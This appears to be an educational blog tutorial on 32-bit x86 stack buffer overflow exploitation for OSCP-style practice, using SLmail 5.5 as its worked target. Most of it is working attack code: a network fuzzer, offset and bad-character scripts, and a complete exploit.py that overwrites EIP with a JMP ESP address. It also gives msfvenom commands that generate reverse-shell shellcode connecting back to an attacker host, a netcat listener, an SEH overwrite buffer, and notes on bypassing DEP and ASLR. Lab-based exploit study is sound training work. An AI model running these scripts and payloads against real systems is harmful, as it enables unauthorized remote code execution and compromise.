kavklaw@llm $ cat buffer-overflow-guide.md
โฑ๏ธ 35 min read ยท Understand the stack, control EIP, and write your first working exploit
Buffer overflow development requires a debugger, a scripting language, and a test environment. This guide focuses on 32-bit x86 (the standard for learning and OSCP), though the concepts apply to x64 with different register names (RIP instead of EIP, RSP instead of ESP) and wider addresses.
# Python 3 with pwntools (exploit development library)
pip3 install pwntools
# pwntools gives you: struct packing, shellcode helpers, socket wrappers, and more
# Metasploit Framework (for pattern_create, pattern_offset, msfvenom)
sudo apt install metasploit-framework
# For Linux targets โ GDB with peda or gef (enhanced debugger UI):
sudo apt install gdb
# Install gef (recommended):
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
# Or peda:
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
# For Windows targets โ Immunity Debugger + mona.py:
# 1. Install Immunity Debugger on your Windows test VM
# 2. Download mona.py: https://github.com/corelan/mona
# 3. Copy mona.py to Immunity's PyCommands folder
# Test environment: a Windows 7/10 VM with the vulnerable app installed
# OSCP-style: SLmail, vulnserver, brainpan, dostackbufferoverflowgood
x86 vs x64: Most beginner BOF exercises (OSCP, TryHackMe) use 32-bit x86. Key differences in x64: registers are 64-bit (RIP/RSP/RBP), addresses are 8 bytes instead of 4, and modern x64 systems have stricter mitigations (ASLR is harder to bypass with 64-bit address space). Master x86 first โ the concepts transfer directly.
Buffer overflow exploitation follows a predictable, step-by-step process. Here's the high-level recipe:
THE BUFFER OVERFLOW RECIPE (7 Steps)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Step 1: Fuzz โ find the crash point
Step 2: Pattern โ find exact offset to EIP
Step 3: Verify EIP โ overwrite with 0x42424242 (BBBB)
Step 4: Bad chars โ identify bytes that break shellcode
Step 5: JMP ESP โ find redirect address in a loaded DLL
Step 6: Shellcode โ msfvenom reverse shell (exclude bad chars)
Step 7: Exploit! โ padding + JMP ESP + NOP sled + shellcode โ SHELL!
Buffer layout:
โโโโโโโโโโโโฌโโโโโโโโโโโโฌโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโ
โ A * 2606 โ JMP ESP โ NOP * 16 โ Shellcode โ
โ (padding)โ (4 bytes) โ (runway) โ (~351 bytes) โ
โโโโโโโโโโโโดโโโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโ
Every step builds on the previous one. If you skip or mess up any step, your exploit won't work. Here's each one in detail.
Before you can exploit a buffer overflow, you need to understand how a program's memory is organized. Don't worry if this feels abstract at first -- it clicks once you see it in a debugger. When a program runs on a 32-bit system, it gets a virtual address space (its own private view of memory) divided into segments:
High Memory (0xFFFFFFFF)
โโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Kernel Space โ โ Operating system (not accessible to the program)
โโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ โ
โ Stack โ โ Local variables, function parameters, return addresses
โ โ grows down โ ESP (Stack Pointer) points to the top
โ โ
โ โ โ โ โ โ โ โ โ โ โ โ โค
โ โ
โ โ grows up โ
โ Heap โ โ Dynamically allocated memory (malloc, new)
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Uninitialized Data โ โ .bss segment (global vars without initial value)
โ (BSS) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Initialized Data โ โ .data segment (global vars with initial value)
โ (Data) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Text/Code โ โ .text segment (the actual machine instructions)
โ โ Read-only, executable
โโโโโโโโโโโโโโโโโโโโโโโโโโโ
Low Memory (0x00000000)
The key insight: the Stack grows downward (from high to low memory addresses), while the Heap grows upward. Buffer overflows exploit the stack's layout -- specifically, the fact that local buffers and control data (like return addresses) sit right next to each other.
The stack is a Last-In-First-Out (LIFO) data structure used by the CPU for function calls. Think of it like a stack of plates -- you can only add or remove from the top. Three CPU registers (small, fast storage locations inside the processor) are critical for understanding stack-based buffer overflows:
# When main() calls vulnerable_function("AAAA"):
# 1. Push function arguments onto the stack (right to left)
PUSH "AAAA" # Argument goes on the stack
# 2. CALL instruction pushes the return address (next instruction in main)
CALL vulnerable_function # Pushes EIP (return address) onto stack
# 3. Function prologue โ set up new stack frame
PUSH EBP # Save the caller's base pointer
MOV EBP, ESP # Set up new base pointer
SUB ESP, 64 # Allocate 64 bytes for local variables (buffer)
# The stack now looks like this:
โโโโโโโโโโโโโโโโโโโโโโโโโโโ High memory
โ Function arguments โ โ "AAAA" (the input)
โโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Return Address (EIP) โ โ Where to go when function returns
โโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Saved EBP โ โ Previous function's base pointer
โโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ โ
โ Local Buffer (64B) โ โ char buffer[64]; โ our overflow target
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโ Low memory (ESP points here)
# 4. Function epilogue โ clean up and return
MOV ESP, EBP # Restore stack pointer
POP EBP # Restore caller's base pointer
RET # Pop return address into EIP โ jumps back to main()
The vulnerability is clear: the local buffer sits below the saved EBP and return address on the stack. If we write past the buffer's boundary, we overwrite first the saved EBP, then the return address (EIP). When the function returns, the CPU pops our overwritten value into EIP and jumps to whatever address we specified.
Buffer overflows happen when a program copies data into a fixed-size buffer without checking the input length. Here's the classic vulnerable code:
// VULNERABLE CODE โ never do this!
#include <string.h>
#include <stdio.h>
void vulnerable_function(char *input) {
char buffer[64]; // Fixed-size buffer: 64 bytes
strcpy(buffer, input); // Copies input without checking length!
printf("You said: %s\n", buffer);
}
int main(int argc, char *argv[]) {
vulnerable_function(argv[1]);
return 0;
}
// If input is 64 bytes or less โ works fine
// If input is 65+ bytes โ overflows into saved EBP
// If input is 69+ bytes โ overflows into return address (EIP)!
// If input is 73+ bytes โ overwrites everything above, including our shellcode landing zone
These C functions are the usual suspects in buffer overflow vulnerabilities โ they don't check buffer bounds:
| Dangerous (no bounds check) | Safe Alternative |
|---|---|
strcpy(dest, src) | snprintf(dest, n, "%s", src) |
strcat(dest, src) | strncat(dest, src, n) |
gets(input) โ NEVER USE | fgets(input, n, stdin) |
sprintf(buf, fmt, ...) | snprintf(buf, n, fmt, ...) |
scanf("%s", buf) | fgets + sscanf |
Fuzzing is the process of sending increasingly large inputs to an application to see when it crashes. You start small and keep growing until the application crashes -- that crash means you've overwritten something important (likely EIP). This is the very first step: just find out how much data it takes to break things.
#!/usr/bin/python3
# fuzzer.py โ incrementally increase buffer size until crash
import socket
import sys
import time
target_ip = "10.10.10.100"
target_port = 110 # POP3 for SLmail example
buffer_size = 100
increment = 100
timeout = 5
while True:
try:
print(f"[*] Sending {buffer_size} bytes...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((target_ip, target_port))
s.recv(1024) # Receive banner
# Send the payload (adjust protocol-specific commands)
payload = b"A" * buffer_size
s.send(b"USER admin\r\n")
s.recv(1024)
s.send(b"PASS " + payload + b"\r\n")
s.recv(1024)
s.close()
buffer_size += increment
time.sleep(1)
except socket.timeout:
print(f"[!] No response at {buffer_size} bytes โ possible crash!")
print(f"[*] Crash occurred between {buffer_size - increment} and {buffer_size} bytes")
sys.exit(0)
except ConnectionRefusedError:
print(f"[!] Connection refused at {buffer_size} bytes โ server crashed!")
print(f"[*] Crash occurred between {buffer_size - increment} and {buffer_size} bytes")
sys.exit(0)
except Exception as e:
print(f"[!] Error at {buffer_size} bytes: {e}")
sys.exit(1)
๐ก Pro Tip: Always restart the target application after each crash. Attach a debugger (Immunity Debugger on Windows, GDB on Linux) before fuzzing so you can see exactly what register values look like at the time of crash. If EIP = 0x41414141 (AAAA), you've confirmed a stack-based buffer overflow.
Once you know the approximate crash point (say, around 2700 bytes), you need to find the exact offset where EIP gets overwritten. We do this by replacing the "AAAA..." buffer with a unique, non-repeating pattern.
# Generate a unique pattern using Metasploit
msf-pattern_create -l 2700
# Output: Aa0Aa1Aa2Aa3Aa4Aa5...
# Or using Python
python3 -c "
import struct
pattern = ''
for upper in range(ord('A'), ord('Z')+1):
for lower in range(ord('a'), ord('z')+1):
for digit in range(0, 10):
pattern += chr(upper) + chr(lower) + str(digit)
if len(pattern) >= 2700:
break
if len(pattern) >= 2700:
break
if len(pattern) >= 2700:
break
print(pattern[:2700])
"
Send this pattern instead of "AAAA...". When the app crashes, check EIP in the debugger:
# In Immunity Debugger, after the crash, EIP shows something like:
# EIP = 39694438
# Find the offset โ where in the pattern does this value appear?
msf-pattern_offset -l 2700 -q 39694438
# [*] Exact match at offset 2606
# This means:
# Bytes 0-2605 โ fill the buffer + saved EBP
# Bytes 2606-2609 โ overwrite EIP (4 bytes on 32-bit)
# Bytes 2610+ โ land on the stack AFTER the return address
# Using mona.py in Immunity Debugger (faster):
!mona findmsp # Finds all pattern matches automatically
# EIP contains normal pattern : 0x39694438 (offset 2606)
# ESP points to offset 2610
Now verify that you can precisely control EIP. Craft a payload where bytes 2606-2609 are a recognizable value:
#!/usr/bin/python3
# eip_control.py โ verify EIP control
import socket
import struct
target_ip = "10.10.10.100"
target_port = 110
offset = 2606
# Build the payload
buffer = b"A" * offset # Padding to reach EIP
buffer += b"B" * 4 # Overwrite EIP with 42424242 (BBBB)
buffer += b"C" * (2700 - len(buffer)) # Fill remaining space
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(b"USER admin\r\n")
s.recv(1024)
s.send(b"PASS " + buffer + b"\r\n")
s.close()
print("[*] Payload sent! Check debugger.")
print("[*] EIP should be 0x42424242 (BBBB)")
print("[*] ESP should point to the C's (0x43434343...)")
# In the debugger after crash:
# EIP = 42424242 โ We control EIP! โ
# ESP โ 43434343... โ Our C's are on the stack after EIP โ
# This means we can redirect execution to our shellcode
๐ก Pro Tip: If EIP is NOT0x42424242, your offset is wrong. Double-check by regenerating the pattern and recalculating. Off-by-one errors are common -- verify with mona.py's!mona findmspcommand which automatically identifies all register offsets.
0x39694438. What Metasploit command finds the exact offset in your pattern?msf-pattern_offset takes the EIP value found after a crash with a unique pattern and calculates the exact byte offset where EIP gets overwritten. Usage: msf-pattern_offset -l LENGTH -q EIP_VALUE. This is step 2 of the buffer overflow recipe โ finding the exact offset.Before generating shellcode (the actual malicious code you want to run), you need to identify "bad characters" -- specific byte values that the application transforms, truncates, or drops during processing. If your shellcode contains a bad character, it gets corrupted and the exploit silently fails with no error message. This step is tedious but skipping it is the #1 reason exploits don't work.
Common bad characters:
\x00 (null byte) -- terminates strings in C. Almost always bad.\x0a (newline) -- ends input in line-based protocols.\x0d (carriage return) -- ends input in many protocols.\x20 (space) -- sometimes truncates input.\xff -- problematic in some encodings.#!/usr/bin/python3
# badchars.py โ send all possible byte values to find bad characters
import socket
target_ip = "10.10.10.100"
target_port = 110
offset = 2606
# Generate all bytes from \x01 to \xff (\x00 is almost always bad)
badchars = b""
for i in range(1, 256):
badchars += bytes([i])
# Build payload
buffer = b"A" * offset
buffer += b"B" * 4 # EIP placeholder
buffer += badchars # All possible bytes after EIP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.recv(1024)
s.send(b"USER admin\r\n")
s.recv(1024)
s.send(b"PASS " + buffer + b"\r\n")
s.close()
print(f"[*] Sent {len(badchars)} test bytes after EIP")
print("[*] Check ESP in debugger โ follow the dump")
print("[*] Look for where the sequence breaks or bytes are missing/changed")
# In Immunity Debugger:
# 1. Right-click ESP โ "Follow in Dump"
# 2. You should see: 01 02 03 04 05 06 07 08 09 0A 0B 0C...
# 3. Look for where the sequence breaks or bytes are wrong
# Example: You see this in memory:
# 01 02 03 04 05 06 07 08 09 โ Then it stops at 0A
# This means 0x0A is a bad character (newline)
# Remove 0x0A from your test, resend, and check again
# Keep iterating until the entire sequence appears correctly
# Using mona.py (much faster):
!mona bytearray -b "\x00" # Generate comparison bytearray
!mona compare -f bytearray.bin -a ESP # Auto-compare memory vs expected
# mona output:
# Possibly bad chars: 00 0a 0d
# โ These bytes need to be excluded from shellcode
๐ก Pro Tip: Bad character analysis is tedious but critical. A single bad byte in your shellcode will silently corrupt it, and you'll get no shell with no error message. Use mona.py's compare function -- it automates the comparison and highlights discrepancies. Remove bad chars one at a time and retest.
You need to redirect execution to your shellcode, which sits on the stack where ESP points after the function returns. You can't hardcode a stack address (it changes every time due to ASLR, environment variables, etc.). Instead, you find a JMP ESP instruction somewhere in a loaded DLL or module -- this instruction tells the CPU "jump to wherever ESP is pointing right now." Since ESP points to your shellcode, the CPU runs your code.
The trick: overwrite EIP with the address of a JMP ESP instruction. When the function returns:
# Using mona.py to find JMP ESP:
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# -r esp โ find JMP ESP instructions
# -cpb โ exclude modules with these bad chars in their address
# Output:
# 0x625011af : jmp esp | {PAGE_EXECUTE_READ}
# [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False
# โ PERFECT โ no ASLR, no SafeSEH, and the address doesn't contain bad chars
# Verify manually in Immunity:
# Go to address 0x625011af โ should show: FFE4 (opcode for JMP ESP)
# Alternative: find JMP ESP using nasm_shell
msf-nasm_shell
nasm> jmp esp
# Output: FFE4
# Then search for FFE4 in loaded modules:
!mona find -s "\xff\xe4" -m essfunc.dll
\x00 is bad, address can't contain 00)Shellcode is the actual payload -- the raw machine code that runs after you hijack execution. Usually this is a reverse shell (code that connects back to your machine and gives you a command prompt on the target). msfvenom (part of Metasploit) generates this shellcode for you -- you don't need to write assembly by hand.
# Generate a reverse shell shellcode (Windows)
msfvenom -p windows/shell_reverse_tcp \
LHOST=10.10.14.5 \
LPORT=4444 \
-f python \
-b "\x00\x0a\x0d" \
-v shellcode \
EXITFUNC=thread
# -p โ payload
# LHOST โ your attacker IP (where the shell connects back to)
# LPORT โ your listening port
# -f python โ output format (python variable assignment)
# -b "\x00\x0a\x0d" โ bad characters to avoid
# -v shellcode โ variable name in the output
# EXITFUNC=thread โ exit cleanly without crashing the process
# For Linux targets:
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=10.10.14.5 \
LPORT=4444 \
-f python \
-b "\x00" \
EXITFUNC=thread
# Staged vs stageless:
# windows/shell_reverse_tcp โ Stageless (all-in-one, ~351 bytes)
# windows/shell/reverse_tcp โ Staged (small stager, downloads rest)
# For buffer overflows, stageless is usually better
# For meterpreter:
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.5 \
LPORT=4444 \
-f python \
-b "\x00\x0a\x0d"
โ ๏ธ Important: The-bflag tells msfvenom to use an encoder (usuallyshikata_ga_nai) to avoid bad characters. Encoding adds a decoder stub to the beginning of the shellcode, making it slightly larger. Make sure your buffer has enough space for the encoded shellcode (~400 bytes to be safe).
A NOP sled (also called NOP slide) is a sequence of No-Operation (\x90) instructions placed before your shellcode. The CPU executes each NOP without doing anything and "slides" into the shellcode.
Why use a NOP sled? The encoded shellcode starts with a decoder stub that unpacks itself, and this decoder needs a few bytes of "runway." The NOP sled provides that runway โ the CPU slides through NOPs until it hits the shellcode. 16-32 bytes is typically sufficient.
nop_sled = b"\x90" * 16
# The complete buffer structure:
# โโโโโโโโโโโโฌโโโโโโโโโโโโฌโโโโโโโโโโโฌโโโโโโโโโโโโ
# โ A * 2606 โ JMP ESP โ NOP * 16 โ Shellcode โ
# โ (padding)โ (4 bytes) โ (runway) โ (~351 B) โ
# โโโโโโโโโโโโดโโโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโโ
\x90 bytes) placed before shellcode in a buffer overflow exploit?-b flag in msfvenom) starts with a decoder that unpacks itself, and this decoder modifies memory around itself during decoding. Without the NOP sled, the decoder can corrupt adjacent data. A typical sled is 16-32 bytes of \x90.Buffer Overflow Exploit Structure
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Low Memory High Memory
โโโโโโโโโโโโโโโโฌโโโโโโโโโโโฌโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ "A" * offset โ JMP ESP โ NOP sled โ Shellcode โ
โ (padding) โ (4 bytes)โ \x90*16 โ (reverse shell ~351B) โ
โ 2606 B โ overwritesโ decoder โ msfvenom payload โ
โ โ EIP โ runway โ โ
โโโโโโโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โฒ
โ โ
โโโโโโโโโโโโ
JMP ESP jumps here
(ESP points to NOP sled)
Here's the complete exploit putting all the pieces together:
#!/usr/bin/python3
# exploit.py โ Complete buffer overflow exploit
import socket
import struct
import sys
# ============ CONFIGURATION ============
target_ip = "10.10.10.100"
target_port = 110
offset = 2606
jmp_esp = 0x625011af # JMP ESP address from mona.py
# ============ SHELLCODE ============
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444
# -f python -b "\x00\x0a\x0d" -v shellcode EXITFUNC=thread
shellcode = b""
shellcode += b"\xdb\xc0\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
shellcode += b"\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30"
# ... (truncated โ your actual shellcode here)
shellcode += b"\x41\x41\x41\x41\x41"
# ============ BUILD EXPLOIT ============
buffer = b"A" * offset # [1] Padding to reach EIP
buffer += struct.pack("<I", jmp_esp) # [2] Overwrite EIP โ JMP ESP
buffer += b"\x90" * 16 # [3] NOP sled (decoder runway)
buffer += shellcode # [4] Reverse shell payload
print(f"[*] Buffer overflow exploit")
print(f"[*] Target: {target_ip}:{target_port}")
print(f"[*] Offset: {offset}")
print(f"[*] JMP ESP: {hex(jmp_esp)}")
print(f"[*] Shellcode size: {len(shellcode)} bytes")
print(f"[*] Total payload: {len(buffer)} bytes")
# ============ SEND EXPLOIT ============
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
banner = s.recv(1024)
print(f"[*] Banner: {banner.decode().strip()}")
s.send(b"USER admin\r\n")
s.recv(1024)
print("[*] Sending exploit payload...")
s.send(b"PASS " + buffer + b"\r\n")
print("[+] Exploit sent! Check your listener.")
s.close()
except Exception as e:
print(f"[-] Error: {e}")
sys.exit(1)
# ============ DON'T FORGET THE LISTENER ============
# Before running this script, start your listener:
# nc -lvnp 4444
# Or for meterpreter:
# msfconsole -q -x "use exploit/multi/handler; set payload windows/shell_reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; exploit"
Here's a full walkthrough of exploiting SLmail 5.5 โ a classic buffer overflow exercise that's part of the OSCP curriculum.
# Target: Windows 7 VM with SLmail 5.5 installed
# Attacker: Kali Linux
# SLmail runs POP3 on port 110
# The PASS command in POP3 is vulnerable to buffer overflow
# Install and configure:
# 1. Install SLmail 5.5 on Windows 7 VM
# 2. Install Immunity Debugger
# 3. Install mona.py (copy to Immunity's PyCommands folder)
# 4. Attach Immunity Debugger to SLmail process (SLmail.exe)
# In Immunity Debugger:
!mona config -set workingfolder c:\mona\%p
# Run the fuzzer script above targeting port 110
# Result: Server crashes at approximately 2700 bytes
# In Immunity: EIP = 41414141 (AAAA) โ confirmed buffer overflow!
# Restart SLmail and reattach debugger for next step
# Generate pattern
msf-pattern_create -l 2700
# Send pattern as the PASS value (use the pattern in place of A's)
# After crash, check EIP in Immunity Debugger:
# EIP = 39694438
msf-pattern_offset -l 2700 -q 39694438
# [*] Exact match at offset 2606
# Alternatively, in Immunity:
!mona findmsp
# EIP contains normal pattern : 0x39694438 (offset 2606)
# Send: "A" * 2606 + "BBBB" + "C" * 90
# After crash:
# EIP = 42424242 (BBBB) โ We control EIP! โ
# ESP โ points to CCCCCC... โ We control what ESP points to! โ
# Using mona.py:
!mona bytearray -b "\x00" # Generate reference (excluding null)
# Send all bytes \x01-\xff after EIP
# After crash:
!mona compare -f c:\mona\slmail\bytearray.bin -a ESP
# Result: Bad characters are \x00, \x0a, \x0d
# Remove each, regenerate bytearray, resend, compare, repeat
# until mona says "Unmodified" โ all remaining bytes are safe
# In Immunity:
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# Results (example):
# 0x5f4a358f : jmp esp | SLMFC.DLL (no ASLR, no DEP)
# Verify: the address bytes (5f 4a 35 8f) don't contain 00, 0a, or 0d โ
# Remember: x86 is little-endian!
# 0x5f4a358f โ stored in memory as: \x8f\x35\x4a\x5f
# struct.pack("<I", 0x5f4a358f) handles this automatically
msfvenom -p windows/shell_reverse_tcp \
LHOST=10.10.14.5 \
LPORT=4444 \
-f python \
-b "\x00\x0a\x0d" \
-v shellcode \
EXITFUNC=thread
# Copy the output into your exploit script
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 exploit.py
# Terminal 1:
# connect to [10.10.14.5] from (UNKNOWN) [10.10.10.100] 49152
# Microsoft Windows [Version 6.1.7601]
# C:\Program Files\SLmail\>whoami
# slmail-pc\administrator
#
# โ We have a shell! ๐
SEH (Structured Exception Handling) is how Windows programs handle errors and crashes internally โ think of it as a series of "if something goes wrong, do this" safety nets built into the program. Each safety net is called an exception handler, and they're stored as a linked list (a chain where each item points to the next) on the stack. SEH-based buffer overflows target this exception handler chain rather than the return address. This is a more advanced technique, so don't worry if it takes a few reads to click.
How the attack works at a high level: Instead of overwriting the return address (EIP) like in a vanilla stack overflow, you overflow far enough to overwrite the SEH handler chain. Then you trigger an error โ which the overwritten handler chain processes โ redirecting execution to your shellcode. It's an indirect path to code execution that bypasses some protections that defend the return address.
# SEH chain on the stack:
โโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Next SEH Record (nSEH) โ โ Pointer to next handler in the chain
โโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ SEH Handler โ โ Pointer to exception handler function
โโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ Local Variables/Buffer โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโ
# SEH overflow strategy:
# 1. Overflow buffer โ overwrite nSEH and SEH handler
# 2. Trigger an exception (the overflow itself often does this)
# 3. Windows walks the SEH chain โ calls our overwritten handler
# 4. Handler = POP POP RET gadget โ returns to nSEH
# 5. nSEH = short JMP (\xeb\x06\x90\x90) โ jumps over SEH to shellcode
# Finding POP POP RET gadgets:
!mona seh -cpb "\x00\x0a\x0d"
# SEH exploit buffer structure:
# [padding to nSEH] [JMP short +6 (nSEH)] [POP POP RET (SEH)] [NOP + shellcode]
# In code:
buffer = b"A" * seh_offset # Padding
buffer += b"\xeb\x06\x90\x90" # nSEH: JMP short +6
buffer += struct.pack("<I", pop_pop_ret) # SEH: POP POP RET gadget
buffer += b"\x90" * 16 # NOP sled
buffer += shellcode # Payload
๐ก Pro Tip: SEH overflows are tested on the OSCP and appear in real-world exploits. The key differences from vanilla stack overflows: you target nSEH/SEH instead of EIP, you need a POP POP RET gadget instead of JMP ESP, and you need a short JMP in nSEH to hop over the SEH address into your shellcode.
Modern operating systems implement protections that make buffer overflow exploitation significantly harder. You'll encounter these in real-world scenarios and CTFs. Understanding them is important for both exploitation and defense.
DEP marks memory regions as either writable OR executable, never both. The stack is writable but NOT executable โ our shellcode can't run directly.
Bypass technique: Return-Oriented Programming (ROP) โ chain together small instruction sequences ("gadgets") from executable memory, each ending with RET:
# Example ROP chain to call VirtualProtect (make stack executable):
# Gadget 1: POP EAX; RET โ Load VirtualProtect address
# Gadget 2: MOV [ECX], EAX; RET โ Write to memory
# Gadget 3: PUSH ESP; RET โ Push stack address
# ... โ VirtualProtect called โ stack becomes executable โ shellcode runs
# mona.py can auto-generate ROP chains:
!mona rop -cpb "\x00\x0a\x0d"
ASLR randomizes where modules, stack, and heap are loaded in memory. Our JMP ESP address changes every reboot โ exploit breaks.
Bypass techniques:
!mona modules โ look for Rebase: False, ASLR: FalseA random value placed between the buffer and return address. Before returning, the function checks if the canary was modified. If it was โ overflow detected โ program aborts.
Stack layout WITH canary:
[buffer] [CANARY] [saved EBP] [return address]
โ Overflowing corrupts this โ caught!
Bypass techniques:
Here's the systematic approach for buffer overflow exploitation in CTFs and OSCP-style exams:
!mona config -set workingfolder c:\mona\%pnc -lvnp 4444 # 1. Start listener
python3 exploit.py # 2. Run exploit against target
# 3. Catch the shell!
# If it fails: check bad chars, verify JMP ESP address, add more NOPs
โ Mistake #1: Wrong offset.
If EIP isn't exactly0x42424242after your control test, your offset is wrong. Use!mona findmspinstead of calculating manually. Off-by-one errors will make everything downstream fail.
โ Mistake #2: Incomplete bad character analysis.
Removing one bad char can reveal another that was hidden behind it. After removing each bad char, regenerate the bytearray with!mona bytearray -b "\x00\x0a...", resend, and compare again. Repeat until mona says "Unmodified."
โ Mistake #3: JMP ESP address contains bad characters.
If your JMP ESP address is0x6250110aand\x0ais a bad char, the address gets corrupted. Find a different JMP ESP address that doesn't contain any bad character bytes.
โ Mistake #4: Forgetting endianness.
x86 is little-endian. The address0x625011afis stored as\xaf\x11\x50\x62in memory. Usestruct.pack("<I", 0x625011af)in Python -- it handles byte ordering automatically.
โ Mistake #5: Not enough NOP sled.
The encoded shellcode's decoder stub modifies memory around itself during decoding. Without a NOP sled, the decoder can corrupt adjacent data. Use at least 16 bytes (\x90 * 16) before your shellcode.
โ Mistake #6: Not enough buffer space for shellcode.
Encoded shellcode is typically 350-400 bytes. If ESP only has 200 bytes of controllable space after EIP, your shellcode won't fit. Solutions: use a shorter payload, jump backward into the A-padding, or use an egg hunter.
โ Mistake #7: Not restarting the application between attempts.
After a crash, the application's state is corrupted. Always restart the service and reattach the debugger before each test. Failing to do so gives unreliable results.
0x625011af on a little-endian x86 system is stored in memory as which byte sequence?0x625011af becomes \xaf\x11\x50\x62 in memory. Python's struct.pack("<I", 0x625011af) handles this automatically โ always use it to avoid manual byte-ordering errors.-b flag in msfvenom specifies bad characters to avoid. For example: msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -b "\x00\x0a\x0d" -f python. This triggers an encoder (usually shikata_ga_nai) that produces shellcode avoiding those bytes, at the cost of slightly larger payload size.